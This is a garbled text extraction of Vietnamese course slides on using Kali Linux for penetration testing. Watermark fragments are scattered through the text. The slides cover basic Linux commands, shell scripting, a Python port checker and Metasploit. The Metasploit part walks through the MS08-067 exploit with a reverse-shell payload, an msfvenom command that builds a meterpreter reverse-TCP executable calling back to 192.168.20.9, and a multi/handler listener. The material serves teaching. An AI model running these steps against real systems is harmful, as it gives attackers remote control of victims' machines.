Professional Documents
Culture Documents
Kiem-Thu-Xam-Nhap - Ho-Dac-Hung - Phu-Luc - (1) - Su-Dung-Kali-Linux - (Cuuduongthancong - Com)
Kiem-Thu-Xam-Nhap - Ho-Dac-Hung - Phu-Luc - (1) - Su-Dung-Kali-Linux - (Cuuduongthancong - Com)
.c
SỬ DỤNG KALI LINUX
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Nội dung
om
Các lệnh cơ bản trên Linux
.c
Lập trình shell script
ng
co
Sử dụng Metasploit
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
1. Các lệnh trên Linux
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Các lệnh cơ bản
om
Tên lệnh Chức năng
.c
man Trợ giúp
ng
ls Liệt kệ nội dung thư mục
co
cd Chuyển thư mục làm việc hiện hành
an
th
pwd Xem đường dẫn thư mục hiện hành
ng
mkdir Tạo thư mực
o
rm du
Xóa file hoặc thư mục
u
cp Copy file/thư mục
cu
om
Tạo user
.c
useradd
ng
Chmod Gán quyền cho file/thư mục
co
vi Trình soạn thảo VI
an
grep Lệnh tìm kiếm
th
Lọc dữ liệu
ng
awk
o
ifconfig Xem ip address
du
route Xem bảng định tuyến
u
cu
echo
netstat network connections, listening ports
crontab Lập lịch
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
2. Lập trình trên Linux
.c
ng
Shell –Script
co
Python
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
a. Giới thiệu
om
Shell Script Là 1 chương trình bao gồm các chuỗi lệnh nhằm thực hiện một
.c
ng
nhiệm vụ, chức năng nào đó.
co
Các loại shell thông dụng trên Unix/Linux:
an
th
- sh (Shell Bourne):
o ng
- bash (Bourne Again Shell): du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
a) Giới thiệu (tt)
om
Cách viết shell script:
.c
• Dùng lệnh vi/gedit để viết shell
ng
co
Nên dùng gedit để viết shell vì nó thể hiện màu sắc dể kiểm soát lỗi
an
• Thực thi script:
th
ng
• Gán quyền thực thi cho script
o
• #chmod a+x ten_script du
u
• Thực thi
cu
• #./ten script
CuuDuongThanCong.com https://fb.com/tailieudientucntt
b) Cấu trúc một chương trình shell script
om
.c
ng
#!/bin/bash Loại shell mà script sẽ chạy
co
Lệnh
an
command ….
th
ng
command …. Thoát và không có error
o
exit 0 du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
c) Biến trong shell
om
Trong linux shell thì có 2 kiểu biến:
.c
• Biến hệ thống (system variable): được tạo bởi Linux. Kiểu biến này thường được viết bằng ký tự in hoa.
ng
• Biến do người dùng định nghĩa.
co
Cú pháp: tên biến=giá trị
an
Một số quy định về biến trong shell :
th
(1) Tên bắt đầu bằng ký tự hoặc dấu gạch chân (_).
ng
(2) Không được có khoảng trắng trước và sau dấu bằng khi gán giá trị cho biến
o
(3) Biến có phân biệt chữ hoa chữ thường du
(4) Bạn có thể khai báo một biến có giá trị NULL như sau :
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
c) Biến trong shell (tt)
om
Để truy xuất giá trị biến, dùng cú pháp sau: $tên_biến
.c
ví dụ:
ng
co
n=10
an
th
echo $n
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script
om
Lệnh echo: Xuất nội dung ra màn hình
.c
Ví dụ: vi bai1.sh
ng
có nội dung như sau:
co
#!/bin/sh
an
th
# chuong trinh xuat ra man hinh mot chuoi
ng
echo “chao cac ban”
o
Chạy chương trình:
du
u
#chmod a+x bai1.sh
cu
#./bai1.sh
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Lệnh read: đọc một số hay chuỗi từ bàn phím
.c
Cấu trúc: read tham_số
ng
co
Ví dụ:
an
th
read a
o ng
(đọc một số hay chuỗi từ bàn phím và gán cho a)
u
du
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Tính toán trong Shell
.c
• Sử dụng expr
ng
cú pháp expr op1 phép_toán op2
co
Ví dụ
an
expr 1 + 3
th
expr 2 – 1
o ng
expr 10 / 2
expr 20 % 3
du
u
cu
expr 10 \* 3
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Tính toán trong Shell (tt)
.c
Sử dụng let
ng
Ví dụ :
co
let “z=$z+3”
an
let “z += 3”
th
let “z=$m*$n”
ng
Sử dụng $((...))
o
ví dụ : du
u
z=$((z+3))
cu
z=$(($m*$n))
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Chú ý khi dùng dấu nháy
om
“ : (Nháy kép) tất cả các ký tự đều không có ý nghĩa tính toán trừ / và $.
.c
ng
‘ : (Nháy đơn) những gì nằm trong dấu nháy đơn có ý nghĩa không đổi.
co
` : (Nháy ngược) thực thi lệnh.
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Điều kiện:
.c
Nhận 1 trong 2 giá trị đúng hoặc sai
ng
co
Sử dụng trong các câu lệnh điều khiển (if, while, ..)
an
th
Lệnh test hoặc []
o ng
Cấu trúc: test dieu_kien hoặc [dieu_kien]
u
du
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Điều kiện (tt):
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Điều kiện (tt):
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Điều kiện (tt):
.c
Các toán tử so sánh số học
ng
-eq : bằng
co
-ge : lớn hơn hoặc bằng
an
-gt : lớn hơn
th
-le : nhỏ hơn hoặc bằng
ng
-lt : nhỏ hơn
o
-ne : khác du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Lệnh if:
.c
Cấu trúc:
ng
co
if condition
an
then
th
statements
o ng
else
statements
du
u
cu
fi
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Lệnh for:
.c
Cấu trúc:
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Lệnh while
.c
Cú pháp:
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)
om
Lệnh until
.c
Cú pháp:
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
e) Tham số lệnh
om
.c
Tham số lệnh: Là tham số được truyền khi thực hiện script.
ng
Ví dụ: ./bai2.sh phepcong 12 24
co
an
$1 $2 $3
th
o ng
du
$1, $2, $3 … : vị trí và nội dung của các tham số trên dòng lệnh theo thứ tự từ trái
u
cu
sang phải.
$@, $*: danh sách tất cả các tham số trên dòng lệnh.
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Thực hành
om
Bài 1: Viết chương trình ping đến một dãy ip với số lượng gói ping 1gói/1
.c
ng
host. Dãy ip được nhập từ bàn phím với 3 octect đầu.
co
Ví dụ:
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Lập trình Python
om
#!/usr/bin/python
.c
import socket
ng
co
ip = raw_input("Enter the ip: ")
an
port = input("Enter the port: ")
th
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
o ng
if s.connect_ex((ip, port)): u
du
print "Port", port, "is closed"
cu
else:
print "Port", port, "is open"
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Lập trình Python
om
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
3. Sử dụng Metasploit
.c
ng
- msfconsole
co
- msfcli
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Metasploit
om
Metasploit Là framework thuộc sở hữu của công ty bảo mật Rapid7
.c
Metasploit được xây dựng từ: Perl, sau đó được viết lại bằng Ruby
ng
co
Chứa các phần mềm phục vụ cho việc kiểm thử xâm nhập hệ thống
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Sử dụng Metasploit
om
Khởi động PostgreSQL database: dung để lưu trữ các công việc thực hiện
.c
ng
root@kali:~# service postgresql start
co
Để sử dung metasploit ta có thể dùng các giao diện sau: msfconsole,
an
th
Msfcli,
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
a. msfconsole
om
root@kali:~# msfconsole
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Sử dụng Metasploit
om
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Sử dụng Metasploit
om
Lệnh help để xem trợ giúp của một lệnh
.c
Ví dụ:
ng
co
msf> help route
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Finding metasploit modules
om
Microsoft Security Bulletin MS08-067
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067
om
Xem thông tin của module
.c
ng
msf> info exploit /windows/smb/ms08_067_netapi
co
Sử dụng module ms08_067
an
th
msf> use exploit /windows/smb/ms08_067_netapi
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067
om
Setting module options (show options)
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067
om
set <option to set> <value to set it to>
.c
ng
RHOST: refers to the remote host we want to exploit
co
set RHOST 192.168.20.10.
an
th
RPORT: refers to the remote port to attack (default 445)
o ng
SMBPIPE: SMB pipes allow us to talk to Windows interprocess
u
du
communication over a network (default: BROWSER)
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067
om
Exploit Target: Choose Automatic Targeting to tell Metasploit to
.c
fingerprint the SMB service and choose the appropriate target based on the
ng
co
results
an
th
msf>show targets
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Payloads (or shellcode)
om
A payload: đoạn code sử dụng trong exploit
.c
Khi một payload thích hợp được chọn, metasploit sẽ sử dụng một code để
ng
co
khai thác điểm yếu của hệ thống sau đó sẽ dụng payload này để chạy sau
an
th
khi xâm nhập thành công.
o ng
Xem các payload
du
u
show payoads
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Các loại shell
om
Bind Shells: máy mục tiêu (target machine) sẽ mở một command shell và
.c
lắng nghe trên 1 port. Máy của Attacker sẽ kêt nối với máy mục tiêu thông
ng
co
qua port đó.
an
th
Reverse Shells: Máy mục tiêu sẽ chủ động kết nối đến máy Attacker.
ng
Máy Attacker sẽ mở một local port và đợi kết nối từ máy mục tiêu
o
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
setting a Payload manually
om
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
.c
ng
msf exploit(ms08_067_netapi) > show options
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
.c
ng
co
an
th
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
b. msfvemon
om
Msfvenom: bao gồm Msfpayload và Msfencode.
.c
Được sử dụng để tạo ra các standalone payload
ng
co
#msfvenom -l payloads
an
th
Sử dụng options:
ng
–p để chọn 1 payload
o
du
--payload-options: xem các options của payload
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
msfvemon
om
Xem định dạng có thể xuất ra của payload:
.c
ng
#msfvenom --help-formats
co
Tạo payload thực hiện kết nối đến Server Attacker có ip 192.168.20.9 với
an
th
port 12345 với định dạng .exe
o ng
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
du
u
LPORT=12345 -f exe > chapter4example.exe
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Using the Multi/Handler Module
om
Thiết lập handlers để bắt các kết nối từ máy mục tiêu Windows khi thực
.c
thi payload đọc hại của Attacker (chapter4example.exe)
ng
co
msf > use multi/handler
an
th
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
o ng
msf exploit(handler) > show options
du
u
msf exploit(handler) > set LHOST 192.168.20.9
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Using the Multi/Handler Module
om
LHOST => 192.168.20.9
.c
ng
msf exploit(handler) > set LPORT 12345
co
LPORT => 12345
an
th
msf exploit(handler) > exploit
o ng
du
u
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Auxiliary module
om
auxiliary modules được sử dụng để scanning, fuzzing, sniffing, …
.c
ng
msf > use scanner/smb/pipe_auditor
co
msf auxiliary(pipe_auditor) > show options
an
th
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10
o ng
RHOSTS => 192.168.20.10 u
du
cu
CuuDuongThanCong.com https://fb.com/tailieudientucntt